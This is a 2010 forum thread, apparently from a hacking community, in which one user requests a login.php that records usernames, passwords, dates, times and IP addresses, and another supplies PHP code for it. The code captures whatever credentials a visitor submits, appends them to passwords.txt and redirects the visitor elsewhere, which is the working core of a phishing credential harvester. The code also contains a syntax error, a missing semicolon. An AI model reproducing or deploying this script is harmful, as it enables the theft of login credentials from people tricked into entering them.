I need a login.php file but one that can store:
Username:
Password:
Date:
Time:
Ip:
and i will give you credits ;D thanks
Results 1 to 15 of 15
Thread: [Request]Login.php
- 15 Jan. 2010 07:59am #1
[Request]Login.php
- 15 Jan. 2010 10:14am #2
- Age
- 33
- Join Date
- Nov. 2009
- Location
- England, United Kingdom (Formerly known as TESM)
- Posts
- 692
- Reputation
- 27
- LCash
- 100.00
it's not the php file that will store the information, it's the database for example MySQL. You would have to start by making a table on your database called users or something like that and then add all the fields you want (username, password, etc.)
- 15 Jan. 2010 12:56pm #3
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 100.00
- 15 Jan. 2010 11:14pm #4
- Age
- 33
- Join Date
- Nov. 2009
- Location
- England, United Kingdom (Formerly known as TESM)
- Posts
- 692
- Reputation
- 27
- LCash
- 100.00
- 15 Jan. 2010 11:19pm #5
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 100.00
A txt file? >>;
- 16 Jan. 2010 12:54am #6
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 100.00
Sorry for the double post but here's the code:
PHP Code:<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;
$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>
- 16 Jan. 2010 05:42am #7
- 16 Jan. 2010 07:08am #8
- 16 Jan. 2010 04:07pm #9
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 100.00
- 16 Jan. 2010 07:04pm #10
- 16 Jan. 2010 09:45pm #11
- 16 Jan. 2010 10:02pm #12
- 16 Jan. 2010 10:03pm #13
- 16 Jan. 2010 10:04pm #14
- 16 Jan. 2010 10:10pm #15
- Age
- 97
- Join Date
- Nov. 2009
- Location
- In the computer
- Posts
- 11,186
- Reputation
- 1029
- LCash
- 100.00
- Awards
Sk8er make me a flp lol ill do anything